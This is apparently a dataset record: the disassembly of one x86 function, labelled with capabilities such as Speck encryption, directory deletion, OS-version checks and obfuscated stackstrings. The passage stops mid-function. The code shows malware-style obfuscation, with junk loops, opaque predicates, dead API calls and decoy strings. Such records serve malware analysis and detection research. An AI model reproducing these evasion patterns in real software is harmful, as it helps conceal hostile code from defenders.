Function at 0x1002401c
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete directory
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path
Identify system language via api
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b711
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xf24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0xb642c70b
mov dword [ebp - 0x9c4], 0xfffffff8
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x3bc], 1
mov dword [ebp - 0x9cc], 0xfffffffe
mov dword [ebp - 0x16c], 0
jmp 0x10024089
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x100240a5
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x778], 9
jmp 0x1002407c
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x100240c6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xcd4], eax
mov eax, dword [ebp - 0x1c]
sub eax, 0x1e6e2bf
cmp eax, dword [ebp - 0x1c]
jne 0x100240e8
mov dword [ebp - 0x9e8], 1
jmp 0x100240ef
and dword [ebp - 0x9e8], 0
cmp dword [ebp - 0x1c], 0x38d927f7
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jg 0x1002410a
mov dword [ebp - 0x9bc], 1
jmp 0x10024111
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xbfc], eax
mov eax, 0xb9228064
test eax, eax
je 0x10024193
mov dword [ebp - 0x1c], 0
jmp 0x1002413c
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1002416d
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x1002415c
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x778], 0
je 0x1002416b
jmp 0x1002416d
jmp 0x10024135
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x1002418e
push 0x1183
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x1002425b
mov dword [ebp - 0x314], 0xfffffff8
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
cmp eax, dword [ebp - 0x314]
jg 0x100241c9
mov dword [ebp - 0x770], 1
jmp 0x100241d0
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x314]
cmp dword [ebp - 0x770], eax
jge 0x100241ea
mov dword [ebp - 0x780], 1
jmp 0x100241f1
and dword [ebp - 0x780], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x778]
cmp eax, dword [ebp - 0x780]
jne 0x10024212
mov dword [ebp - 0x788], 1
jmp 0x10024219
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x788]
cmp eax, 0xca3c47aa
jbe 0x1002423c
xor eax, eax
je 0x1002423c
mov dword [ebp - 0x7b8], 1
jmp 0x10024243
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x9cc], eax
cmp dword [0x1007d474], 0
jne 0x1002905c
mov dword [ebp - 0x9dc], 9
mov dword [ebp - 0x9e4], 0xd188047d
mov dword [ebp - 0x284], 0
jmp 0x10024295
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 3
jge 0x100242b1
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0xc18], 0xb13e
jmp 0x10024288
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc18], 0
je 0x1002438a
mov dword [ebp - 0x174], 0x50bf34fd
mov dword [ebp - 0x9d4], 0x729cf308
mov dword [ebp - 0x174], 0x1a
jmp 0x100242f2
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0xffffffec
jge 0x1002436c
mov dword [ebp - 0xc8], 0x942a1e94
mov dword [ebp - 0xc8], 0
jmp 0x1002431e
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x1002433a
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xc18], 0x8ef
jmp 0x10024311
cmp dword [ebp - 0xc8], 0
jne 0x10024351
xor eax, eax
inc eax
jne 0x10024351
and dword [ebp - 0x768], 0
jmp 0x1002435b
mov dword [ebp - 0x768], 1
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x9d4], eax
jmp 0x100242e5
mov byte [ebp - 0xac], 0
movzx eax, byte [ebp - 0xac]
test eax, eax
je 0x10024388
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x100243f3
mov dword [ebp - 0x300], 0
jmp 0x100243a3
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 3
jge 0x100243bf
mov eax, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0xd84], 1
jmp 0x10024396
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9dc]
cmp ecx, dword [ebp + eax - 0xd84]
jle 0x100243e0
mov dword [ebp - 0x5bc], 1
jmp 0x100243e7
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x9e4], eax
mov byte [ebp - 0x134], 9
mov byte [ebp - 0x133], 0xce
mov byte [ebp - 0x132], 0xb
mov byte [ebp - 0x131], 8
mov byte [ebp - 0x130], 0xa
mov byte [ebp - 0x12f], 0
mov byte [ebp - 0x12e], 6
mov byte [ebp - 0x12d], 0x5f
mov byte [ebp - 0x12c], 1
mov byte [ebp - 0x12b], 0x56
mov byte [ebp - 0x12a], 2
mov byte [ebp - 0x129], 0x17
mov byte [ebp - 0x128], 7
mov byte [ebp - 0x127], 0x40
mov byte [ebp - 0x126], 8
mov byte [ebp - 0x125], 0x1c
mov byte [ebp - 0x124], 5
mov byte [ebp - 0x123], 0x42
mov byte [ebp - 0x122], 3
mov byte [ebp - 0x121], 2
mov byte [ebp - 0x120], 2
mov byte [ebp - 0x11f], 0xc
mov byte [ebp - 0x11e], 0xcc
mov byte [ebp - 0x11d], 0
mov byte [ebp - 0x11c], 0x25
mov byte [ebp - 0x11b], 4
mov byte [ebp - 0x11a], 0x2e
mov dword [ebp - 0x17c], 0xd1e1e87d
mov dword [ebp - 0xd04], 0x846b51f0
mov dword [ebp - 0xc04], 0x36717b38
or dword [ebp - 0xb00], 0xffffffff
or dword [ebp - 0xafc], 0xffffffff
or dword [ebp - 0xaf8], 0xffffffff
or dword [ebp - 0xaf4], 0xffffffff
lea ecx, [ebp - 0x319]
call fcn.10001da5
push eax
lea eax, [ebp - 0xaf0]
push eax
lea eax, [ebp - 0xb00]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.1000dd98
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdd8]
call fcn.1000dd72
and dword [ebp - 4], 0
mov dword [ebp - 0x64], 0
jmp 0x10024533
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10024549
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xda8], 1
jmp 0x1002452c
mov dword [ebp - 0x64], 0
jmp 0x10024559
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x1002456f
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xf34], 0xe495761b
jmp 0x10024552
mov dword [ebp - 0x17c], 2
jmp 0x10024588
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jl 0x10024ae1
mov dword [ebp - 0x110], 0xfffffff8
mov dword [ebp - 0xd40], 0xbe56890c
mov dword [ebp - 0x3c4], 0x64d2
mov dword [ebp - 0x9ec], str.hspgg_xaewang_aagrgoht
cmp dword [ebp - 0x3c4], 0x6572
jle 0x10024677
and dword [ebp - 0x308], 0
jmp 0x100245e3
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0xdc1
jge 0x10024677
and dword [ebp - 0x28c], 0
jmp 0x10024609
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x4d60
jge 0x10024672
and dword [ebp - 0x184], 0
jmp 0x1002462b
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x6a38
jge 0x10024670
mov eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x184]
sar eax, cl
and eax, dword [ebp - 0x308]
cdq
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], edx
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x1002461e
jmp 0x100245fc
jmp 0x100245d6
mov dword [ebp - 0xc0c], 1
mov byte [ebp - 4], 1
cmp dword [ebp - 0x3c4], 0x6389
jge 0x100246a1
mov edx, dword [ebp - 0x9ec]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x100246bd
and dword [ebp - 4], 0
jmp 0x100246c7
push 2
lea ecx, [ebp - 0xc38]
call fcn.10001cf5
mov byte [ebp - 4], 3
mov dword [ebp - 0x5c4], 0xa4e7
mov dword [ebp - 0x6bc], 0x461c
mov dword [ebp - 0x9f4], str.gvzmlpmrc_vspdems_ippeus_glxzy_npa_nncjrhrf_mwzpfbh_ykytcd_rols_ypqk
cmp dword [ebp - 0x6bc], 0x46f8
jle 0x1002478b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
and dword [ebp - 0x18c], 0
jmp 0x10024728
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x114f
jge 0x1002478b
and dword [ebp - 0x294], 0
jmp 0x1002474a
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x4576
jge 0x10024789
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x294]
shl eax, cl
cdq
mov dword [ebp - 0x87c], eax
mov dword [ebp - 0x878], edx
push dword [ebp - 0x878]
push dword [ebp - 0x87c]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x1002473d
jmp 0x1002471b
mov byte [ebp - 4], 4
cmp dword [ebp - 0x6bc], 0x44ff
jge 0x100247ab
mov edx, dword [ebp - 0x9f4]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x100247c7
mov dword [ebp - 4], 3
jmp 0x100247d7
mov dword [ebp - 0x194], 0
jmp 0x100247f0
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
jge 0x10024812
push dword [ebp - 0x194]
lea ecx, [ebp - 0xc38]
call fcn.10001d4d
mov dword [eax], 0xfffffffd
jmp 0x100247e3
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x10024833
push 1
push 0x11f1
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [ebp - 0x110], 2
jmp 0x1002484c
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x10024acd
mov dword [ebp - 0x29c], 0xbef7d651
mov dword [ebp - 0xd0c], 0x70ab227d
mov dword [ebp - 0xc1c], 6
push 1
lea ecx, [ebp - 0xc28]
call fcn.10001cf5
mov byte [ebp - 4], 6
mov dword [ebp - 0x3cc], 0x588f
mov dword [ebp - 0xa40], str.sule_fuyapesyk_clk_raskdalcf_bfzsoifg
cmp dword [ebp - 0x3cc], 0x5c53
jle 0x10024953
and dword [ebp - 0x310], 0
jmp 0x100248c2
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x2973
jge 0x10024953
and dword [ebp - 0x19c], 0
jmp 0x100248e8
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x408e
jge 0x1002494e
mov eax, dword [ebp - 0x310]
cdq
idiv dword [ebp - 0x19c]
mov eax, edx
cdq
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], edx
push dword [ebp - 0x884]
push dword [ebp - 0x888]
lea ecx, [ebp - 0xef4]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x9fc], eax
mov ecx, dword [ebp - 0x9fc]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xef4]
call fcn.1000da77
jmp 0x100248db
jmp 0x100248b5
mov byte [ebp - 4], 7
cmp dword [ebp - 0x3cc], 0x57a8
jge 0x1002496f
push dword [ebp - 0xa40]
call fcn.10041403
pop ecx
jmp 0x1002498b
mov dword [ebp - 4], 6
jmp 0x1002499b
mov dword [ebp - 0xd64], 0xffffffff
mov dword [ebp - 0x60], 0
jmp 0x100249b5
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x100249d1
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc28]
call fcn.10001d4d
mov dword [eax], 0x145714ff
jmp 0x100249ae
mov dword [ebp - 0x60], 0
jmp 0x100249e1
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x100249f7
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xc2c], 1
jmp 0x100249da
mov dword [ebp - 0x29c], 2
jmp 0x10024a10
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
jl 0x10024aac
mov dword [ebp - 0x84], 0x13281d21
mov dword [ebp - 0x84], 2
jmp 0x10024a40
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x10024a71
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x10024a6f
push 0
push 0x438
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x10024a33
mov dword [ebp - 0x84], 2
jmp 0x10024a8a
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x10024aa7
mov eax, dword [ebp - 0x110]
cmp dword [ebp + eax*4 - 0xda8], 0
je 0x10024aa5
jmp 0x10024aa7
jmp 0x10024a7d
jmp 0x10024a03
mov eax, dword [ebp - 0x5c4]
dec eax
mov dword [ebp - 0x5c4], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc28]
call fcn.10001d31
jmp 0x1002483f
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc38]
call fcn.10001d31
jmp 0x1002457b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdd8]
call fcn.10001d31
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x134]
and eax, 0xaa
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x134]
or ecx, 0xaa
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x134]
mov word [ebp + eax*2 - 0xbe8], cx
push 3
lea ecx, [ebp - 0x160]
call fcn.10001cf5
mov dword [ebp - 4], 9
mov dword [ebp - 0x3dc], 0xda622a14
mov dword [ebp - 0x1a4], 0
jmp 0x10024b66
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 3
jge 0x10024b88
push dword [ebp - 0x1a4]
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov dword [eax], 0xfffffffe
jmp 0x10024b59
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
cmp dword [eax], 0x8a59
jle 0x10024ba9
mov dword [ebp - 0x3e4], 1
jmp 0x10024bb0
and dword [ebp - 0x3e4], 0
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
push 0
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov esi, eax
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x10024beb
mov dword [ebp - 0x7e4], 1
jmp 0x10024bf2
and dword [ebp - 0x7e4], 0
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov esi, eax
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov eax, dword [eax]
add eax, dword [esi]
jne 0x10024c2f
push 0
lea ecx, [ebp - 0x160]
call fcn.10001d4d
cmp dword [eax], 0
jne 0x10024c2f
and dword [ebp - 0x3d4], 0
jmp 0x10024c39
mov dword [ebp - 0x3d4], 1
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov ecx, dword [ebp - 0x3d4]
cmp ecx, dword [eax]
jg 0x10024c5c
mov dword [ebp - 0x73c], 1
jmp 0x10024c63
and dword [ebp - 0x73c], 0
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov ecx, dword [ebp - 0x73c]
cmp ecx, dword [eax]
jg 0x10024c86
mov dword [ebp - 0x864], 1
jmp 0x10024c8d
and dword [ebp - 0x864], 0
push 0
lea ecx, [ebp - 0x160]
call fcn.10001d4d
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
cmp dword [eax], 0x2ca3c0bf
jle 0x10024cbb
mov dword [ebp - 0x5cc], 1
jmp 0x10024cc2
and dword [ebp - 0x5cc], 0
mov dword [ebp - 0x3dc], 0x8ce3e63e
mov eax, dword [ebp - 0x3dc]
cmp eax, dword [ebp - 0x5cc]
jge 0x10024ce6
mov dword [ebp - 0x6c4], 1
jmp 0x10024ced
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x3e4]
cmp eax, dword [ebp - 0x6c4]
jg 0x10024d07
mov dword [ebp - 0x3ec], 1
jmp 0x10024d0e
and dword [ebp - 0x3ec], 0
push 1
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov esi, dword [ebp - 0x3ec]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x160]
call fcn.10001d4d
mov dword [eax], esi
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x10024d4c
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.10001d31
mov dword [ebp - 0x24], 2
and dword [ebp - 0x214], 0
jmp 0x10024d73
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1b
jae 0x10025ec7
push 2
lea ecx, [ebp - 0xa0c]
call fcn.10001cf5
mov dword [ebp - 4], 0xa
or dword [ebp - 0xb14], 0xffffffff
or dword [ebp - 0xb10], 0xffffffff
or dword [ebp - 0xb0c], 0xffffffff
or dword [ebp - 0xb08], 0xffffffff
lea ecx, [ebp - 0x36d]
call fcn.10001da5
push eax
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0xb14]
push eax
lea ecx, [ebp - 0xdec]
call fcn.1000dd98
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd9c]
call fcn.1000dd72
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x7f8], 0xffffffff
mov dword [ebp - 0x2f4], 0
jmp 0x10024e09
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 2
jge 0x10024e28
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0xa0c]
call fcn.10001d4d
and dword [eax], 0
jmp 0x10024dfc
push 1
lea ecx, [ebp - 0xa0c]
call fcn.10001d4d
and dword [eax], 0
jmp 0x10024e5e
push 1
lea ecx, [ebp - 0xa0c]
call fcn.10001d4d
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5d4]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xa0c]
call fcn.10001d4d
cmp dword [eax], 0xffffffed
jge 0x100250f8
mov dword [ebp - 0xb3c], 0xa485bf25
mov dword [ebp - 0xb38], 0xa485bf25
mov dword [ebp - 0xb34], 0xa485bf25
mov dword [ebp - 0xb30], 0xa485bf25
lea ecx, [ebp - 0x375]
call fcn.10001da5
push eax
lea eax, [ebp - 0xb2c]
push eax
lea eax, [ebp - 0xb3c]
push eax
lea ecx, [ebp - 0xe14]
call fcn.1000dd98
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa94]
call fcn.1000dd72
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x3f4], 0x5d81
mov dword [ebp - 0x978], str.smqsor_wkyrixp_tllcgkao_zsfztc_jrwz
cmp dword [ebp - 0x3f4], 0x5e45
jle 0x10024fff
and dword [ebp - 0x2dc], 0
jmp 0x10024f0f
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x6c36
jge 0x10024fff
and dword [ebp - 0x1ac], 0
jmp 0x10024f35
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x68bc
jge 0x10024ffa
and dword [ebp - 0x2a4], 0
jmp 0x10024f5b
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x6b8c
jge 0x10024ff5
and dword [ebp - 0x1b4], 0
jmp 0x10024f81
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x1e8
jge 0x10024ff0
mov eax, dword [ebp - 0x1ac]
add eax, dword [ebp - 0x2a4]
and eax, dword [ebp - 0x1b4]
or eax, dword [ebp - 0x2dc]
cdq
mov dword [ebp - 0x894], eax
mov dword [ebp - 0x890], edx
push dword [ebp - 0x890]
push dword [ebp - 0x894]
lea ecx, [ebp - 0xf24]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x7f0], eax
mov ecx, dword [ebp - 0x7f0]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xf24]
call fcn.1000da77
jmp 0x10024f74
jmp 0x10024f4e
jmp 0x10024f28
jmp 0x10024f02
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x3f4], 0x59b8
jge 0x1002501b
push dword [ebp - 0x978]
call fcn.10041403
pop ecx
jmp 0x10025037
mov dword [ebp - 4], 0xc
jmp 0x10025047
mov dword [ebp - 0x1bc], 0
jmp 0x10025060
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jge 0x1002507c
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0xd90], 0x73292c5e
jmp 0x10025053
push 3
lea ecx, [ebp - 0xa94]
call fcn.10001d4d
mov dword [eax], 3
jmp 0x100250b5
push 3
lea ecx, [ebp - 0xa94]
call fcn.10001d4d
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 0x77c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x77c]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0xa94]
call fcn.10001d4d
cmp dword [eax], 0
jl 0x100250e4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd90], 0x734f0946
mov dword [ebp - 0x7f8], 0x734f0946
jmp 0x10025091
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xa94]
call fcn.10001d31
jmp 0x10024e3a
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xd9c]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0c]
call fcn.10001d31
mov dword [ebp - 0x424], 0x3c12
mov dword [ebp - 0xa50], str.xogztgmu_uetvqukuq_hztfhamb_mkqgw_lbscrr_zhifpcisg_xkzuhv_jbyz_tkujh_ukukuzi_tfbgxqr_yqjtw
cmp dword [ebp - 0x424], 0x3d75
jle 0x10025211
and dword [ebp - 0x304], 0
jmp 0x10025150
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x7706
jge 0x10025211
and dword [ebp - 0x2ac], 0
jmp 0x10025176
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x6228
jge 0x1002520c
and dword [ebp - 0x1c4], 0
jmp 0x1002519c
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x6ad4
jge 0x10025207
mov ecx, dword [ebp - 0x2ac]
add ecx, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x304]
shl eax, cl
cdq
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], edx
push dword [ebp - 0x89c]
push dword [ebp - 0x8a0]
lea ecx, [ebp - 0xeac]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0xa58], eax
mov ecx, dword [ebp - 0xa58]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xeac]
call fcn.1000da77
jmp 0x1002518f
jmp 0x10025169
jmp 0x10025143
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x134]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x10025675
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x134]
inc eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x58], 5
mov dword [ebp - 0x404], 0x59951ea6
push 3
lea ecx, [ebp - 0xb84]
call fcn.10001cf5
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x980], 0xa0d018d3
mov dword [ebp - 0x808], 6
mov dword [ebp - 0xc9c], 0x8039d6b9
mov dword [ebp - 0x1cc], 0
jmp 0x1002529a
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x100252bc
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0xb84]
call fcn.10001d4d
mov dword [eax], 2
jmp 0x1002528d
mov dword [ebp - 0x744], 0x4393
mov dword [ebp - 0x9f0], str.zfneuzr_eqzeours_pbqzwzzr_jwpqpkx
cmp dword [ebp - 0x744], 0x450d
jle 0x10025386
and dword [ebp - 0x2b4], 0
jmp 0x100252f6
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x61f9
jge 0x10025386
and dword [ebp - 0x1d4], 0
jmp 0x1002531c
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x22b4
jge 0x10025381
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x1d4]
sar eax, cl
cdq
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x8a8], edx
push dword [ebp - 0x8a8]
push dword [ebp - 0x8ac]
lea ecx, [ebp - 0xe64]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x800], eax
mov ecx, dword [ebp - 0x800]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xe64]
call fcn.1000da77
jmp 0x1002530f
jmp 0x100252e9
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xc3c], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
jl 0x100253ac
mov dword [ebp - 0x3fc], 1
jmp 0x100253b3
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x3fc], eax
je 0x100253ca
mov dword [ebp - 0x5dc], 1
jmp 0x100253d1
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5dc], eax
jge 0x100253e8
mov dword [ebp - 0x6cc], 1
jmp 0x100253ef
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
sub eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x6cc]
jl 0x10025415
mov dword [ebp - 0x40c], 1
jmp 0x1002541c
and dword [ebp - 0x40c], 0
push 1
lea ecx, [ebp - 0xb84]
call fcn.10001d4d
mov ecx, dword [ebp - 0x40c]
